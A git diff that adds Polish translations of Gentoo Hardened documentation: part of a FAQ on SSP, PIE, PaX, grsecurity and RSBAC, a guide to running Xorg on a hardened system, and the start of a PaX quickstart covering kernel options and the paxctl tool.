+# gcc-config -l
+[1] i686-pc-linux-gnu-3.4.4 *
+[2] i686-pc-linux-gnu-3.4.4-hardenednopie
+[3] i686-pc-linux-gnu-3.4.4-hardenednopiessp
+[4] i686-pc-linux-gnu-3.4.4-hardenednossp
+[5] i686-pc-linux-gnu-3.4.4-vanilla
+
+<comment>Kompilację bez wykorzystywania SSP wybierzemy przełączając się na profil hardenednossp:</comment>
+# gcc-config i686-pc-linux-gnu-3.4.4-hardenednossp
+</pre>
+
+<p>
+Możemy również zmienić nasze flagi CFLAGS:
+</p>
+
+<p>
+Standardową opcję SSP dla budowania binariów można wyłączyć przez dodanie
+<c>-fno-stack-protector-all -fno-stack-protector</c> do zmiennej <c>CFLAGS</c>.
+</p>
+
+<p>
+Jeśli chcemy wyłączyć domyślną opcję PIE, to dodajemy <c>-nopie</c> do
+naszej zmiennej <c>CFLAGS</c>.
+</p>
+
+<impo>
+Flaga <c>-fno-pic</c> nie powinna być używana, gdyż powoduje to generowanie kodu
+non-PIC (opcja <c>-fpic</c> generuje kod niezależny od pozycji, tzn. wszystkie
+statyczne adresy w obrębie kodu są otrzymywane z tzw. globalnej tablicy
+wskaźników. Ustawienie <c>-fno-pic</c> powoduje, że globalna tablica wskaźników
+nie jest wykorzystywana - przyp. tłum.). Powrót do standardowego zachowania GCC
+uzyskujemy poprzez flagę <c>-nopie</c>.
+</impo>
+
+<note>
+Jeśli dla każdego pakietu w Portage chcemy korzystać z osobnych ustawień
+CFLAGS, to warto zapoznać się ze skryptem, przygotowanym przez solara, który
+został stworzony do tego celu:
+<uri>http://article.gmane.org/gmane.linux.gentoo.hardened/1204</uri>.
+</note>
+
+</body>
+</section>
+<section id="fsexec">
+<title>
+Proces budowy kernela zostaje przerwany i pojawia się błąd "error:
+structure has no member named `curr_ip'", jak to naprawić?
+</title>
+<body>
+
+<p>
+Aby móc korzystać z PaX w pakiecie hardened-sources, musimy włączyć obsługę
+grsecurity w kernelu. W przyszłej wersji powinno to zostać naprawione.
+</p>
+
+</body>
+</section>
+<section id="hardenedproject">
+<title>
+Dopiero poznaję Gentoo Hardened. Czy muszę zainstalować wszystko co zostało
+wymienione na stronie projektu, by mieć Gentoo w wersji hardened?
+</title>
+<body>
+
+<p>
+Nie. Gentoo Harened jest zbiorem podprojektów, które mają wspólne założenia
+odnośnie bezpieczeństwa. Wiele z nich może być zainstalowana wspólnie z innymi.
+Niektóre powodują konflikty, jak np. kilka implementacji list kontroli dostępu
+(ACL) oferowanych przez projekt Gentoo Hardened.
+</p>
+
+</body>
+</section>
+<section id="Othreessp">
+<title>Dlaczego programy nie działają jeśli korzysta się z CFLAGS="-O3" i gcc
+hardened?</title>
+<body>
+
+<p>
+W niektórych sytuacjach równoczesne używanie flagi <c>-O3</c> i SSP (ang.
+stack-smashing protector) powoduje problemy. Flaga <c>-O3</c> nie jest
+oficjalnie wspierana i dlatego zespół projektu Hardened odradza jej
+wykorzystywanie. Raporty problemów, zgłaszane przez użytkowników korzystających
+z <c>CFLAGS="-O3"</c>, będą zamykane ze statusem INVALID/CANTFIX i/lub
+ignorowane.
+</p>
+
+</body>
+</section>
+<section id="cascadebootstrap">
+<title>Co się stało z bootstrap-cascade.sh?</title>
+<body>
+
+<p>
+Stare wersje bootstrap.sh i bootstrap-2.6.sh stały się nieaktualne i zastąpiono
+je przez bootstrap-cascade.sh. Następnie zmieniono nazwę skryptu
+bootstrap-cascade.sh na bootstrap.sh.
+</p>
+
+</body>
+</section>
+<section id="hardenedprofile">
+<title>Jak przełączyć się na profil hardened?</title>
+<body>
+
+<pre caption="Ustawiamy make.profile">
+# <i>cd /etc</i>
+# <i>rm make.profile</i>
+# <i>ln -s ../usr/portage/profiles/hardened/x86 make.profile</i> <comment>(Jądra serii 2.4)</comment>
+# <i>ln -s ../usr/portage/profiles/hardened/x86/2.6 make.profile</i> <comment>(Jadra serii 2.6)</comment>
+</pre>
+
+<p>
+Po zmianie profilu należy przekompilować system korzystając z toolchain w wersji
+hardened, tak by mieć spójny system podstawowy:
+</p>
+
+<pre caption="Przełączenie na toolchain w wersji hardened">
+# <i>emerge --oneshot binutils gcc virtual/libc</i>
+# <i>emerge -e world</i>
+</pre>
+
+</body>
+</section>
+
+<section id="hardeneddebug">
+<title>Jak należy debugować z gdb?</title>
+<body>
+
+<p>
+Pierwszym problemem jest fakt, że GDB nie jest w stanie określić symboli w PIE,
+gdyż nie wie, że adresy w PIE są względne, a nie bezwzględne. Ujawnia się to,
+gdy staramy się prześledzić działanie programu i widzimy ciąg linii ze znakami
+'??' w miejscach, gdzie powinny znajdować się symbole.
+</p>
+
+<p>
+Aby obejść ten problem, należy ostatni etap łączenia programu przeprowadzić z
+opcją <c>-nopie</c>.  Wszystkie wcześniejsze etapy mogą być przeprowadzane tak
+jak zawsze z opcją <c>-fPIE</c> (jest to domyślny sposób w przypadku kompilatora
+hardenend). W ten sposób plik wykonywalny jest jak najbardziej bliski
+prawdziwemu obiektowi, jednak ostatnie dowiązanie tworzy regularny plik
+wykonywalny. Flagę <c>-nopie</c> można dodać do zmiennej <c>LDFLAGS</c>, jeśli
+budujemy pakiety przy pomocy emerge.
+</p>
+
+<p>
+Innym sposobem rozwiązania tego problemu jest instalacja =sys-devel/gdb-6.3-r5,
+paczka ta daje możliwość debugowania binarek zlinkowanych z -pie.
+</p>
+
+<p>
+Drugą pułapką jest potencjalne uniemożliwienia przez PAX ustawienia punktów
+kontrolnych GDB, zależnie od tego jak skonfigurowane jest jądro. Dotyczy
+to również punktu kontrolnego ustawionego na funkcji main, którego potrzebujemy,
+aby cokolwiek rozpocząć. Aby zapobiec takiemu działaniu PaX-a, plik wykonywalny,
+który poddajemy debugowaniu musi posiadać flagi 'm' i 'x'. Flaga 'x' ustawiana
+jest domyślnie, więc wystarczy wydać jedynie poniższe polecenie:
+</p>
+
+<pre caption="Ustawianie PaX-a do debugowania">
+# <i>/sbin/paxtcl -m foo</i>
+</pre>
+
+<p>
+W tym momencie wszystko powinno być ustawione i gotowe do pracy. GDB
+uruchamiamy w normalny sposób. Powodzenia w debugowaniu!
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Pytania dotyczące PaX</title>
+<section id="paxinformation">
+<title>Jaki jest adres strony domowej PaX?</title>
+<body>
+
+<p>
+Strona domowa PaX znajduje się pod adresem <uri>http://pax.grsecurity.net</uri>.
+</p>
+
+</body>
+</section>
+<section id="paxgentoodoc">
+<title>Czy istnieje jakaś dokumentacja Gentoo dotycząca PaX?</title>
+<body>
+
+<p>
+Obecnie jedyną dokumentacją Gentoo dotyczącą PaX jest krótki przewodnik po
+PaX, dostępny na stronie
+<uri>http://www.gentoo.org/proj/pl/hardened/pax-quickstart.xml</uri>.
+</p>
+
+</body>
+</section>
+<section id="paxnoelf">
+<title>
+Bez przerwy pojawia się komunikat: "error while loading shared libraries: cannot
+make segment writable for relocation: Permission denied". Co to oznacza?
+</title>
+<body>
+
+<p>
+Informacja o błędzie pojawia się wtedy, gdy włączymy CONFIG_PAX_NOELFRELOCS w
+następujący sposób:
+</p>
+
+<pre caption="Opcje w menuconfig">
+Non-executable page ->
+
+ [*]   Disallow ELF text relocations
+</pre>
+
+<p>
+Jeśli korzystamy z "toolchain" w wersji hardened, to zazwyczaj podczas
+kompilacji powstają biblioteki ELF z opcją PIC, nie zawierające relokacji sekcji
+text (text jest jedną z sekcji pliku binarnego ELF - przyp. tłum.). Jednakże z
+różnych powodów, niektóre biblioteki nadal zawierają relokacje tej sekcji (są to
+najczęściej te, które zawierają nieprawidłowo obsługiwane fragmenty). Może to
+stanowić lukę w zabezpieczeniach, gdyż potencjalny agresor może wykorzystać
+biblioteki skompilowane z opcją non-PIC do wykonania swojego shellcode.
+Biblioteki z opcją non-PIC mają także niepożądany wpływ na zużycie pamięci,
+ponieważ podważają sens istnienia bibliotek współdzielonych.
+</p>
+
+<p>
+Możemy pozbyć się tego błędu i pozwolić by program działał, lecz musimy
+poświęcić bezpieczeństwo, pozwalając na generowanie kodu w trakcie działania
+programu. Opcja PaX, która to umożliwia nazywa się MPROTECT. Należy wyłączyć
+MPROTECT dla każdego pliku wykonywalnego, który korzysta z bibliotek
+skompilowanych z non-PIC.
+</p>
+
+<p>
+Aby sprawdzić, czy w naszym systemie znajdują się biblioteki zawierające
+relokacje sekcji text, możemy wykorzystać program <c>scanelf</c> z pakietu
+<c>app-misc/pax-utils</c>. Więcej informacji o używaniu pakietu <c>pax-utils</c>
+znajdziemy w dokumencie <uri
+link="/proj/en/hardened/pax-utils.xml">Gentoo PaX Utilities Guide</uri>.
+</p>
+
+<note>
+Nowsze wersje <c>sys-apps/portage</c> (>=2.0.53) sprawdzają biblioteki pod
+względem występowania relokacji sekcji text i wyświetlają ostrzeżenia lub nawet
+przerywają proces budowania programu. Zachowanie Portage zależy od ustawień
+zmiennej <c>FEATURES</c> w pliku <path>/etc/make.conf</path>.
+</note>
+
+</body>
+</section>
+<section id="paxjava">
+<title>Dlaczego Java nie działa z PaX?</title>
+<body>
+
+<p>
+Wirtualna maszyna Javy przy każdym uruchomieniu generuje znaczną ilość kodu, co
+nie wpływa na PaX zbyt dobrze. Istnieją dwa rozwiązania problemu:
+</p>
+
+<pre caption="Instalacja chpax">
+# <i>emerge chpax</i>
+# <i>/etc/init.d/chpax start</i>
+</pre>
+
+<p>
+Jeśli już posiadamy program <c>chpax</c>, możemy wykonać polecenie:
+</p>
+
+<pre caption="Opcja chpax dla java">
+# <i>chpax -pemrxs /opt/*-jdk-*/{jre,}/bin/*</i>
+</pre>
+
+<p>
+Obydwie opcje lekko modyfikują nagłówek ELF, tak by było możliwe ustawienia flag
+PAX na binariach.
+</p>
+
+<note>
+Jeśli używamy PaX w połączeniu z dodatkowymi mechanizmami bezpieczeństwa, takimi
+jak RSBAC, grsecurity lub SELinux, to powinniśmy zarządzać PaXem przy użyciu
+dowiązań do funkcji kernela (ang. kernel hook), dostarczonych z każdą
+implementacją.
+</note>
+
+<p>
+Poniższą komendą można przy włączonym RSBAC poetykietować wszystkie pliki
+Javy.
+</p>
+
+<pre caption="Opcje PaX dla Javy, przy włączonym RSBAC">
+# <i>for i in $(ls /opt/*(jdk|sdk)*/{jre,}/bin/*);do attr_set_file_dir FILE $i pax_flags pmerxs;done</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Pytania dotyczące grsecurity</title>
+<section id="grsecinformation">
+<title>Jaki jest adres strony domowej grsecurity?</title>
+<body>
+
+<p>
+Strona domowa grsecurity znajduje się pod adresem
+<uri>http://www.grsecurity.net</uri>.
+</p>
+
+</body>
+</section>
+<section id="grsecgentoodoc">
+<title>Czy istnieje jakaś dokumentacja Gentoo dotycząca grsecurity?</title>
+<body>
+
+<p>
+Najbardziej aktualną dokumentacją na temat grsecurity jest krótki przewodnik po
+Grsecurity2, znajdujący się pod adresem
+<uri>http://www.gentoo.org/proj/en/hardened/grsecurity.xml</uri>.
+</p>
+
+</body>
+</section>
+<section id="grsec2681">
+<title>Czy można używać grsecurity z kernelami 2.6.8, 2.6.8.1 albo
+2.6.9?</title>
+<body>
+
+<p>
+W związku ze znacznymi zmianami w kernelu 2.6.8, które uniemożliwiły obsługę
+PaX, poprawki PaX i grsecurity dla wersji 2.6.8, 2.6.8.1 i 2.6.9 nie są
+dostępne. Mimo istnienia eksperymentalnej poprawki na kernel 2.6.10, przed jej
+użyciem należy zapoznać się z oficjalnym stanowiskiem zespołu tworzącego PaX
+odnośnie serii 2.6:
+<uri>http://forums.grsecurity.net./viewtopic.php?t=968</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Pytania dotyczące RSBAC</title>
+<section id="rsbacinformation">
+<title>Jaki jest adres strony domowej RSBAC?</title>
+<body>
+
+<p>
+Strona domowa RSBAC znajduje się pod adresem <uri>http://www.rsbac.org</uri>.
+</p>
+
+</body>
+</section>
+<section id="rsbacgentoodoc">
+<title>Czy istnieje jakaś dokumentacja Gentoo, dotycząca RSBAC?</title>
+<body>
+
+<p>
+Cała dokumentacja Gentoo dotycząca RSBAC znajduje się na stronie podprojektu
+RSBAC, dostępnej pod adresem:
+<uri>http://www.gentoo.org/proj/en/hardened/rsbac/index.xml</uri>
+</p>
+
+<p>
+Ponadto podręcznik RSBAC, dostępny pod adresem
+<uri>http://www.rsbac.org/documentation/rsbac_handbook</uri>, stanowi źródło
+niezwiązanych bezpośrednio z Gentoo informacji o tym projekcie.
+</p>
+
+</body>
+</section>
+<section id="rsbacinitrd">
+<title>
+Jak można korzystać ze startowego dysku RAM, gdy posiadamy kernel
+z włączonym RSBAC?
+</title>
+<body>
+
+<p>
+W kernelach z włączonym RSBAC, by używać startowego dysku RAM należy zaznaczyć
+specjalną opcję, która zapobiega traktowaniu initrd jako głównego urządzenia
+([ang.] root device).
+</p>
+
+<pre caption="Opcje w menuconfig">
+General RSBAC options  --->
+    [*] Delayed init for initial ramdisk
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Pytania dotyczące SELinux</title>
+<section id="selinuxfaq">
+<title>
+Gdzie można znaleźć listę odpowiedzi na często zadawane pytania dotyczące
+SELinux?
+</title>
+<body>
+
+<p>
+Odpowiedzi na często zadawane pytania dotyczące SELinux można znaleźć w <uri
+link="/proj/pl/hardened/selinux/selinux-handbook.xml?part=3&amp;chap=3">Podręczniku
+SELinux</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/pl/hardened/hardenedxorg.xml b/xml/htdocs/proj/pl/hardened/hardenedxorg.xml
new file mode 100644
index 00000000..e4ea905a
--- /dev/null
+++ b/xml/htdocs/proj/pl/hardened/hardenedxorg.xml
@@ -0,0 +1,219 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/hardened/hardenedxorg.xml,v 1.4 2007/05/10 10:55:13 rane Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- Orig revision: 1.8 -->
+<!-- Translator: Paweł Kwiatkowski <yarel@o2.pl> -->
+<!-- Status: Finished -->
+
+<!-- $Id: hardenedxorg.xml,v 1.4 2007/05/10 10:55:13 rane Exp $ -->
+
+<guide link="/proj/pl/hardened/hardenedxorg.xml" lang="pl">
+<title>Korzystanie z Xorg w Gentoo Hardened</title>
+<author title="Autor">
+  <mail link="tocharian@gentoo.org">Adam Mondl</mail>
+</author>
+<author title="Współpracownik">
+  <mail link="kevquinn@gentoo.org">Kevin Quinn</mail>
+</author>
+<author title="Współpracownik">
+  <mail link="solar@gentoo.org">Ned Ludd</mail>
+</author>
+<author title="Współpracownik">
+  <mail link="phreak@gentoo.org">Christian Heim</mail>
+</author>
+<author title="Współpracownik">
+  <mail link="zaid_a@users.sourceforge.net">Zaid A.</mail>
+</author>
+<author title="Tłumacz">
+  <mail link="yarel@o2.pl">Paweł Kwiatkowski</mail>
+</author>
+
+<abstract>
+Jak zainstalować i używać Xorg w Gentoo Hardened.
+</abstract>
+
+<version>1.6</version>
+<date>2006-12-23</date>
+
+<chapter>
+<title>Wstęp</title>
+<section>
+<title>Jakie są różnice w korzystaniu z Xorg w Gentoo Hardened?</title>
+<body>
+
+<p>
+PaX jest łatą na linuksowy kernel i stanowi główną część projektu Gentoo
+Hardened. Dostarcza różnych funkcjonalności, takich jak ASLR lub pamięć z
+atrybutem NX ([przyp. tłum.] NX = non-executable, kod w takim obszarze pamięci
+nie jest wykonywany). Więcej informacji znajduje się na stronie <uri
+link="/proj/en/hardened/docs/pax-howto.xml">Krótkie wprowadzenie do PaX w
+Gentoo Hardened</uri>. Na potrzeby tego dokumentu zakładamy, że czytelnicy
+znają podstawy działania PaX, a także ideę PIE (Position Independent
+Executable) - kodu relokowalnego.
+</p>
+
+<p>
+Szczególnie interesującą cechą PaX, z punktu widzenia tego artykułu, jest
+MPROTECT, który chroni przed wykonaniem kodu z przestrzeni adresowej programu.
+Jedną z głównych cech Gentoo Hardened jest możliwość wydajnego działania w
+oparciu o ET_DYN/PIE. Końcowy cel jaki chcemy osiągnąć z Xorg, to uzyskanie
+binariów ET_DYN/PIE, które nie zawierają relokacji sekcji "text" oraz mają
+losowy adres bazowy, a wszystko to bez narzutu wydajnościowego, jaki generuje
+EX_EXEC.
+</p>
+
+<p>
+W tym momencie, kompilacja Xorg z opcją PIC wydaje się oczywistym i logicznym
+wyborem. Gentoo Hardened w tym celu oferuje gcc w wersji hardened, które
+umożliwia przezroczystą kompilację z PIE/SSP. I tu zaczynają pojawiać się
+problemy. Xorg obecnie używa elfloadera, by obsłużyć ładowanie potrzebnych
+modułów. Elfloader nie jest w stanie rozwiązać pewnych typów relokowalnych
+symboli, które są zawsze generowane przez kod PIC. Co więcej, elfloader nie
+oferuje wsparcia dla typu symboli Globalnej Tablicy Przesunięć (GOF - Global
+Offset Table) lub Tablicy Linkowania Procedur (PLT - Procedure Linkage Table).
+Obydwa rodzaje wymienionych symboli są istotne dla bibliotek współdzielonych.
+</p>
+
+<p>
+Jeśli nie elfloader, to co zadziała? Na szczęście istnieje w pełni sprawny,
+dobrze przetestowany i dojrzały dynamiczny program ładujący, który jest
+zainstalowany w naszym systemie. Jest to ld-linux.so, który dostarczany jest
+wraz z glibc. W tym momencie nasuwa się oczywisty pomysł, że byłoby bardzo
+dobrze gdyby istniał interfejs programistyczny dla programu ładującego glibc,
+dzięki czemu program ładujący X mógłby zostać zmodyfikowany tak, aby korzystać z
+tego interfejsu, zamiast z własnego programu ładującego. Okazuje się, że taki
+interfejs istnieje - dlopen(3) et. al. - i jest dokładnie tym, czego używa
+dlloader.
+</p>
+
+<note>
+Począwszy od Xorg 7.0, dlloader jest domyślną aplikacją ładującą moduły dla X.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Opcje konfiguracji jądra</title>
+<section>
+<title>CONFIG_PAX_KERNEXEC</title>
+<body>
+
+<p>
+Opcja 'CONFIG_PAX_KERNEXEC' jest odpowiednikiem PAGEEXEC oraz MPROTECT w jądrze.
+Poprzez udostępnienie tej opcji stanie się trudniejszym używanie "obcego" kodu
+w pamięci jądra. Ta opcja może również dać nam dziwne doświadczenia związane
+z ustawieniami Xorg hardened (kursor myszy zatrzymany w lewej części ekranu).
+Zaleca się zatem wyłączenie tej opcji poprzez odznaczenie jej w konfiguracji.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>CONFIG_GRKERNSEC_IO</title>
+<body>
+
+<p>
+Aktywacja tej opcji spowoduje, że wszystkie odwołania do ioperm(2) oraz iopl(2)
+będą zwracały błędy. ioperm(2) i iopl(2) mozna użyć przy wprowadzaniu zmian
+w obecnie wykorzystywanym jądrze. Jeżeli chcemy uruchomic serwer Xorg przy
+jądrze hardened (głównie GRsecurity) należy wyłączyć tę opcję, aby serwer X
+zaczął działać.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Installation</title>
+<section>
+<title>Dostępne opcje instalacji</title>
+<body>
+
+<p>
+Ponieważ Xorg 7.0 (i wyższe) używa domyślnie dlloader zamiast elfloader, nie ma
+potrzeby wykonywać jakichkolwiek kroków aby Xorg został skompilowany oraz
+uruchomiony na profilu hardened.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Konfiguracja</title>
+<section>
+<title>/etc/X11/xorg.conf</title>
+<body>
+
+<p>
+Xorg można skonfigurować w oparciu o opis procesu konfiguracji serwera X,
+znajdujący się pod adresem
+<uri>http://www.gentoo.org/doc/pl/xorg-config.xml</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Znane problemy</title>
+<section>
+<title>Doświadczenia z dlloader</title>
+<body>
+
+<p>
+Gentoo Hardened posiada domyślną strategię linkowania, która polega na
+rozwiązywania wszystkich symboli w czasie ładowania i wymusza takie zachowanie
+na wszystkich bibliotekach współdzielonych, które są budowane. Zazwyczaj program
+ładujący używa "leniwego" rozwiązywania symboli, tzn. symbole są rozwiązywane
+wtedy, gdy są potrzebne. Niestety niektóre z modułów Xorg posiadają wzajemne
+zależności i inne utrudnienia, które sprawiają, że moduły nie mogą zostać
+załadowane, chyba że włączone jest "leniwe" rozwiązywanie symboli. Obecnie ten
+problem w Gentoo został rozwiązany poprzez kompilację modłów Xorg oraz serwera,
+z ustawioną flagą <c>-nonow</c> dla gcc. Pozwala to na pozbycie się błędów
+"dlopen: undefined symbol". Tak więc, metody ręcznego wykrywania i ładowania
+modułów nie są już potrzebne.
+</p>
+
+<impo>
+Wszelkie problemy prosimy zgłaszać na bugzilli, która znajduje się pod adresem
+<uri>http://bugs.gentoo.org</uri> załączając logi i pliki konfiguracyjne.
+</impo>
+
+</body>
+</section>
+
+<section>
+<title>Sterowniki binarne</title>
+<body>
+
+<p>
+Sterowniki binarne nie są obecnie wspierane przez profil hardened i zachęca
+się do używania sterowników z otwartym kodem źródłowym.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Flagi PaX</title>
+<body>
+
+<p>
+Flaga -M (MPROTECT), z PaX, nie wydaje się działać z Xorg, powoduje znaczne
+opóźnienie.
+
+Flagi PaX -P (PAGEEXEC), -S (SEGMEXEC), -M (MPROTECT) jak i -R (RANDMMAP)
+teraz działają z Xorg.
+</p>
+
+</body>
+</section>
+
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/pl/hardened/pax-quickstart.xml b/xml/htdocs/proj/pl/hardened/pax-quickstart.xml
new file mode 100644
index 00000000..02d15230
--- /dev/null
+++ b/xml/htdocs/proj/pl/hardened/pax-quickstart.xml
@@ -0,0 +1,317 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/hardened/pax-quickstart.xml,v 1.5 2008/03/13 08:12:16 rane Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- Orig revision: 1.7 -->
+<!-- Translator: Paweł Kwiatkowski <yarel@o2.pl> -->
+<!-- Status: Finished -->
+
+<!-- $Id: pax-quickstart.xml,v 1.5 2008/03/13 08:12:16 rane Exp $ -->
+
+<guide link="/proj/pl/hardened/pax-quickstart.xml" lang="pl">
+<title>Krótkie wprowadzenie do PaX w Gentoo Hardened</title>
+
+<author title="Autor">
+  <mail link="tseng@gentoo.org">Brandon Hale</mail>
+</author>
+<author title="Redaktor">
+  <mail link="blackace@gentoo.org">Blackace</mail>
+</author>
+<author title="Redaktor">
+  <mail link="solar@gentoo.org">solar</mail>
+</author>
+<author title="Tłumacz">
+  <mail link="yarel@o2.pl">Paweł Kwiatkowski</mail>
+</author>
+
+<abstract>
+Krótkie omówienie PaX i Gento Hardened.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.4</version>
+<date>2007-09-11</date>
+
+<chapter>
+<title>Czym jest Gentoo Hardened?</title>
+<section>
+<body>
+
+<p>
+Gentoo Hardened to projekt mający na celu ulepszenie zabezpieczeń systemów
+opartych o Gentoo. Prezentujemy kilka różnorodnych rozwiązań, które można
+dostosować do własnych potrzeb. W sercu typowej konfiguracji Gentoo Hardened
+znajduje się <e>PaX</e>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Czym jest PaX?</title>
+<section>
+<body>
+
+<p>
+PaX jest łatą na linuksowy kernel, która ulepsza zabezpieczenia w dwojaki
+sposób.
+</p>
+
+<p>
+Pierwszy z nich, <e>ASLR</e> (Address Space Layout Randomization - losowy
+rozkład przestrzeni adresowej) dostarcza środków do wprowadzenia losowości do
+schematu adresowania wszystkich danych, które są ładowane do pamięci. Kiedy
+aplikacja jest budowana jako <e>PIE</e> (Position Independent Executable -
+binaria z możliwością relokacji kodu), to dodatkowo PaX jest w stanie
+wygenerować losowy adres bazowy dla aplikacji.
+</p>
+
+<p>
+Drugie zabezpieczenie wprowadzone przez PaX stanowi pamięć z atrybutem NX (kod
+zawarty w takim obszarze pamięci, nie może być wykonywany). Zapobiega to
+popularnej formie ataku, kiedy to agresor wstawia kod wykonywalny do pamięci.
+Więcej informacji na temat PaX można znaleźć w niniejszym przewodniku, natomiast
+strona domowa znajduje się pod adresem <uri>http://pax.grsecurity.net</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Wprowadzenie do PIE i SSP</title>
+<section>
+<body>
+
+<p>
+Jak już wspomniano powyżej, PaX jest uzupełniany przez PIE. Ta metoda budowania
+plików wykonywalnych przechowuje informacje potrzebne do relokacji części
+binariów w pamięci, stąd nazwa <e>Position Independent</e> (niezależność od
+pozycji).
+</p>
+
+<p>
+<e>SSP</e> (Stack Smashing Protector) jest drugą uzupełniającą technologią,
+którą wprowadzamy podczas budowania binariów. Po raz pierwszy SSP zostało
+przedstawione przez IBM pod nazwą <e>ProPolice</e>. Rozwiązanie polegało na
+modyfikacji kompilatora C tak, aby do funkcji tworzących bufory w pamięci
+dodawany był kod inicjalizujący.
+</p>
+
+<note>
+W nowszych wersjach SSP, możliwe jest zastosowanie SSP do wszystkich funkcji,
+wliczając w to ochronę funkcji, dla których rozmiar bufora jest zazwyczaj
+mniejszy niż limit ustalony dla SSP. Jest to włączane przez flagę CFLAG
+<c>-fstack-protector-all</c>.
+</note>
+
+<p>
+W trakcie działania programu, podczas tworzenie bufora, SSP dodaje na końcu
+bufora, sekretną wartość losową, tzw. znacznik. Kiedy funkcja kończy działanie,
+SSP sprawdza, czy znacznik jest nietknięty. Jeśli agresor próbowałby przepełnić
+bufor, to nadpisałby wartość znacznika i tym samym wyzwolił funkcję ochrony
+stosu. Obecnie funkcja ta zabija docelowy proces.
+</p>
+
+<p>
+<uri link="http://www.trl.ibm.com/projects/security/ssp/">Dalsza lektura na
+temat SSP</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Budowanie kernela ze wsparciem dla PaX</title>
+<section>
+<body>
+
+<p>
+Kilka z kerneli oferowanych w Gentoo posiada już PaX.
+</p>
+
+<p>
+Dla komputerów opartych o jądra w wersji 2.4 i2.6 zaleca się użycie kerneli z
+pakietu <c>hardened-sources</c>.
+</p>
+
+<p>
+Wybieramy jeden z zalecanych kerneli lub aplikujemy na nasz kernel, odpowiednią
+łatę ze strony <uri>http://pax.grsecurity.net</uri>, a następnie przeprowadzamy
+standardową konfigurację.
+</p>
+
+<p>
+W sekcji <c>Security Options -&gt; PaX</c> zaznaczamy poniższe opcje.
+</p>
+
+<pre caption="Konfiguracja kernela">
+[*] Enable various PaX features
+
+PaX Control -&gt;
+
+ [ ] Support soft mode
+ [*] Use legacy ELF header marking
+ [*] Use ELF program header marking
+     MAC system integration (none)  ---&gt;
+
+Non-executable page -&gt;
+
+ [*] Enforce non-executable pages
+ [*] Paging based non-executable pages
+ [*] Segmentation based non-executable pages
+ [*] Emulate trampolines
+ [*] Restrict mprotect()
+ [ ] Disallow ELF text relocations
+
+Address Space Layout Randomization -&gt;
+
+ [*] Address Space Layout Randomization
+ [*] Randomize kernel stack base
+ [*] Randomize user stack base
+ [*] Randomize mmap() base
+ [*] Randomize ET_EXEC base
+</pre>
+
+<p>
+Budujemy standardowo kernel i umieszczamy go w katalogu <path>/boot</path>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Budowanie przestrzeni użytkownika z włączonym PIE/SSP</title>
+<section>
+<body>
+
+<p>
+Gentoo Hardened dostarcza wsparcia dla przezroczystego budowania binariów
+z PIE/SPP poprzez plik specyfikacji GCC. Oznacza to, że użytkownicy
+aktualizujący starsze wersje instalacji Hardened, powinni usunąć flagi LDFLAGS
+lub CFLAGS, które wyzwalały PIE/SSP. Ponadto pakiet <c>hardened-gcc</c> jest
+teraz przestarzały i powinien zostać odinstalowany (wersja 5.0 jest pakietem
+atrapą). Jeśli chcemy mieć aktualne GCC, to dodajemy <c>USE="hardened pic"</c>
+do pliku <path>/etc/make.conf</path>, o ile nie używamy profilu hardened.
+</p>
+
+<p>
+Dla utrzymanie spójnego toolchaina, na początku wykonujemy polecenie <c>emerge
+binutils gcc virtual/libc</c>. Następnie musimy przebudować cały system
+poleceniem <c>emerge -e world</c>. Wszystkie później instalowane pakiety zostaną
+zbudowane z PIE/SSP.
+</p>
+
+<warn>
+PIE i SSP są znane z tego, że powodują problemy przy niektórych pakietach. Jeśli
+napotkamy problem z kompilacją pakietu, powinniśmy zgłosić szczegółowy raport
+błędu (zawierający log z kompilacji oraz wynik polecenia <c>emerge info</c>) na
+stronie <uri>http://bugs.gentoo.org/</uri>.
+</warn>
+
+<p>
+Możliwe, że będziemy chcieli zainstalować pakiet pax-utils. Często ELF posiada
+relokacje w segmencie text i może to być przyczyną problemów. scanelf -BRylptq
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Kiedy zacznie się źle dziać (kontrolowanie PaX)</title>
+<section>
+<body>
+
+<p>
+Czasem aplikacje w trakcie działania podejmują próby wygenerowania kodu, który
+jest wykonywany poza pamięcią. PaX naturalnie nie pozwoli na takie zachowanie i
+natychmiast zakończy działanie występnego programu.
+</p>
+
+<note>
+Najbardziej godne uwagi z tego rodzaju aplikacji, wydają się XFree, Xorg,
+mpalyer i narzędzia dla multimediów oparte o xine-lib. Najprostszy sposób na
+rozwiązanie problemów to wyłączenie zabezpieczeń PaX.
+</note>
+
+<p>
+Na szczęście istnieje narzędzie pozwalające na wyłączanie/włączanie ochrony dla
+poszczególnych plików wykonywalnych. Jest to <e>paxctl</e>, który instalujemy
+tak jak każdy inny pakiet w Gentoo, <c>emerge paxctl</c>. Sposób użycia
+pokazywany jest po wydaniu polecenia <c>paxctl -h</c>.
+</p>
